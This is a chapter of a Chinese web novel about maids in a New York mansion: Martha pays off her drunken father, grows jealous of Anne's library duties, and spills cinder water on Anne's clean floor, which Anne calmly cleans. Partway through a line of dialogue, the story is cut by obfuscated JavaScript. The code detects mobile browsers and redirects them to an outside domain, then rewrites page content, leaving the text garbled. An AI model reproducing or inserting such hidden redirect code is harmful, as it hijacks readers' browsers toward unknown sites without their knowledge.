玛莎手中的铜盆哐当一声撞在栏杆上。


    传话的小听差挤眉弄眼：「你爹又来了，在后门等着呢。」


    她怎么又把这事儿忘了！每月月初，她那个像牛虻闻到牛粪味儿一样的老爹，总会准时找上门来。


    后门的石阶上凝着露水，湿漉漉的。玛莎刚拐过墙角，一股混合着劣质酒精和汗臭的气味就扑面而来，呛得她倒退了一步。她的老爹，歪斜地靠在栏杆外，破洞的外套里露出黑乎乎的棉絮，一双浑浊的眼睛在看到她时，骤然放出光。


    「哎哟，我的乖女儿，可算是等到你了！他咧嘴笑着，露出黄黑的牙齿，伸手就来抓玛莎的胳膊，那手指缝里嵌满了黑泥，「酒馆的比尔催债催的太紧，快把你爹逼死了，多少给点，让爹周转周转。」


    玛莎甩开他，只觉得指尖沾上了某种黏腻恶心的东西。「上月才给过你二十美元！那是我攒了两个月的钱！」


    老爹脸一垮，唾沫星子喷过来：「那点钱够干什么？你在这大宅子里吃香喝辣，就眼睁睁看你亲爹在外面饿死冻死？」


    他突然拔高嗓门，「要是你没钱，那我就进去找你那些体面的夫人太太要去！问问他们，是怎么教的女仆，连自己亲爹的死活都不管了！」


    玛莎的心直直地沉了下去。她太了解她这个爹了，撒泼耍横是他的拿手好戏。要是真让他闹到施耐德管家面前，最后倒霉丢工作的，只会是她。她咬紧嘴唇，手伸进围裙内侧缝着的小口袋，哆嗦着从口袋中掏出几枚硬币——里面是她打算攒着买帽子的钱。


    她捏出几个硬币扔过去：「拿去！就这些了！再多一个子儿都没有！」


    老爹攥紧硬币，眼神扫过她围裙，突然伸手扯了一下：「这料子还行，不如给我换酒钱……」


    「滚开！」玛莎用力推他。老爹没防备，踉跄着撞在身后的石墙上，嘴里不干不净地骂着，终究还是晃晃悠悠地走了，临走前还没忘回头威胁一句：「下个月我还来，你最好给我准备得足足的！」


    看着那个猥琐的背影消失在巷口，玛莎全身的力气仿佛都被抽空了。她靠着栏杆滑坐在地。


    洗衣房某扇窗户啪地关上。她知道明天仆役间都会传遍这事。


    /


    阳光透过高窗，在木地板上投下几块光斑。


    玛莎跪在书房门口，先用马鬃刷清理地板缝隙的灰层，再用棉布团蘸着蜂蜡，仔细地给地板打蜡。地板与布团摩擦发出单调的“沙沙”声，直至呈现温润的光泽。


    玛莎最喜欢这个活儿，简单不需要动脑子，还有点成就感。


    在重复的动作里，她可以将早上那个牛虻带来的厌恶感抛到脑后。渐渐地，她哼起了调子，是安妮私下里哼哼的调子：


    「秒针转动DI-DI-DA，小小时差DI-DI-DA；我早茶月光洒在你头发，平行的画DI-DI-DA；几时交叉DI-DI-DA，下个路口再见吧……」


    恰好此时，埃莉诺小姐，和那个女秘书弗里曼来到这层。她们尽量避开已经清理打蜡的地方，因为不得不踩在某块打过蜡的地板上，埃莉诺小姐还连声说了好几句，「对不起，对不起。」


    「没关系。」她可真是礼貌的小姐，玛莎心里想着，就看到安妮站在她们后面。


    安妮投来一个微笑。


    等女士们先进了书房，玛莎拉住安妮，问她「你被安排来打扫书房啦？」


    语气里还有点羡慕，谁不知道打扫书房是个轻巧活儿。


    安妮摇摇头，「埃莉诺小姐和弗里曼小姐，想要重新整理小书房已有书目的名单。让我来打下手。」


    「可……」


    安妮好像知道她要说什么。「夫人和施耐德先生同意的。」


    「安妮，快来。」女秘书弗里曼在房间里面唤，语气显得很亲近。


    然后，玛莎就看见，安妮大大方方地走进了书房。


    她重新跪在地板上，又开始了之前的工作，清理地板缝隙，然后上蜡。但是这次，她无法沉浸在重复而单调的劳动中。


    她频频望向虚掩的书房门，里面传来安妮和小姐们的交谈和轻笑声。


    「玛莎，发什么呆。」


    梅布尔太太的声音自身后响起。


    玛莎浑身一僵，慌忙想站起来，却因为慌乱碰倒了脚边装蜂蜡的锡罐，黏稠的蜡油泼洒出来，在刚刚擦亮的地板上留下一滩难看的黄渍。


    「看看你干的好事。」梅布尔太太声音里没有一丝温度，「伊迪丝小姐等会儿要练钢琴，你想让她摔跤？」


    「对不起，梅布尔太太！我马上弄干净！」玛莎抓起手边的粗布就去擦，可蜡油已经迅速凝固，越擦越花。


    「教的规矩全忘了？」梅布尔太太狠狠剜了她一眼。


    /


    阁楼宿舍里，小油灯的光线昏黄如豆，勉强照亮着女仆们手上的活计。


    缝补袜子的缝补袜子，织围巾的织围巾。


    但几乎都围在安妮床边，聊东问西。


    「安妮，你以后下午也不用干活了吗？」露西兴奋地问，好似那个进书房的是她。


    「今天是例外，因为需要整理书目。以后只晚上下工后去。」


    ……


    「哇。快说说书房里都有什么书？」


    「弗里曼都教埃莉诺小姐什么？她真有学问吗？」


    「你在里面，都干什么？也是读书？」


    ……


    安妮一一回答。


    「书房书很多都是新的，小姐在学美国历史。弗里曼小姐，是真有学问。小姐问什么，她都能回答上来，还能指出在书上哪一页。」安妮声音温和，「我哪能读，就是在旁边沏茶，帮忙干点杂事儿。」


    「天哪！那你不是天天都能见到那些漂亮的硬皮书了？」其中一个女仆盘腿坐在床上，语气向往，「我除了圣经没摸过别的书。」


    「安妮你可真是太走运了！」露西放下手里的针线，「我还没进过书房哩，以前都是高级女仆才能进。听说书房地毯软乎乎，踩上去像踩在云彩上，是不是真的？」


    「地毯很厚很软。」安妮回答，满足她们所剩不多的好奇心，「下午的时候，阳光会从大窗户照进来，落在书页上，金灿灿的。」


    「你能提前下工真好。」某个女仆说，「我们忙到深夜，胳膊都抬不起来，你却能早点休息。」


    安妮只是微笑，没有接话。其实在书房里贡献脑力，也非常辛苦。当然这是另外一层意义上的辛苦。说出来，不仅不能获得理解，恐怕还会引来白眼。


    露西帮她解围，「安妮可厉害了。来纽约前就念过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463072|184715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书。夫人都认可了她的学问……她迟早是要做大人物的哩！」


    安妮拿露西又爱又恨。不知道她这番话是帮自己，还是给自己拉仇恨。


    ……


    玛莎面朝墙壁躺着，被子蒙住了头。她想起刚来时，因为偷瞟了一眼书房，就被当时一位高级女仆骂：「低等女仆不配看」。


    她来到布鲁克公馆已经三年，安妮才来三个月就能陪小姐看书！


    凭什么！


    凭什么安妮就能轻易得到一切，而自己拼尽全力，却只能被牢牢困在永无止境的粗活、还不清的债务里。


    妒火激得她发疯，玛莎猛地坐起。把所有人吓了一条。


    露西问：「做噩梦了？」


    「没事。」玛莎又蒙头躺下。


    被子里空气闷热，但她怕人看见自己扭曲的表情。


    她睁眼到天亮。


    /


    清晨玛莎眼下乌青走路发飘。


    她听从安排，去倒煤渣水。路过宅邸西翼时，看见安妮和露西在那里扫地。


    安妮直腰捶背检查着一早上的成果，脸上的笑容格外——刺眼。


    几乎是在她自己都没反应过来的瞬间，她的手臂已经扬了出去——盆里滚烫的煤渣水“哗啦”一声，尽数泼洒在安妮刚刚扫干净的地板上！黑色的污水迅速蔓延开来，煤渣和油污像一张丑陋的蛛网，覆盖了那片洁净。


    所有人都愣住了，包括玛莎自己。


    露西惊叫：「玛莎！你干什么！」


    玛莎心脏狂跳，嘴上却硬撑着：「手滑了。」


    「手滑能泼这么远？这么一大盆水全泼上去了？我们辛苦一早上！」


    女仆们闻声围过来，低声议论。玛莎脸一阵红一阵白，僵硬地站在那里。


    安妮看了眼玛莎，将她浑浑噩噩，虚张声势，但微微发抖的样子看在眼里。她在内心叹了口气：「没关系，能清理掉。」


    她跟露西耳语了几句。很快两人跑开，又回来。一个抱来半筐引火的锯末，一个借来白醋。


    安妮把细碎的锯末撒在污水上。等锯末将大部分污渍吸附住后，她用扫帚把它们扫到一旁。接着又拿起白醋，一点点倒在残留的污痕上，用干净的粗布轻轻擦拭。


    那些看起来顽固的黑色痕迹，渐渐变淡，最后只剩下一点淡淡的水印。


    她见其他女仆一直看着，没有散去的意思，便做了一点解释，声音出乎意料地平静。「这就像做饭时，在锅沿撒上一把面粉，面粉会把多余的油吸走，变成一坨一坨的。锯末就像干燥的面粉，它是由无数个有缝隙的小木屑组成的。这些缝隙把地板上的水分和油污吸走后，也会黏在一起，变成一块一块的，我们只需要把结块的锯末扫掉，脏东西就大部分被清除了。」


    「这办法灵！」露西赞叹，学着一起清理。


    玛莎看着安妮侧影，心里像堵了块石头。她想说对不起，话到嘴边又咽回。最后僵硬地跟着露西一起，蹲在地上清理起来。


    安妮没有和她厮打，也没有骂她，没有多余的批评，没有长篇大论的道理，甚至没有愤怒。


    她们之间那层可悲的隔阂，明明已经解开了！又被她死死关上了。


    眼泪毫无预兆地涌了上来，迅速模糊了视线。玛莎赶紧用手捂住脸。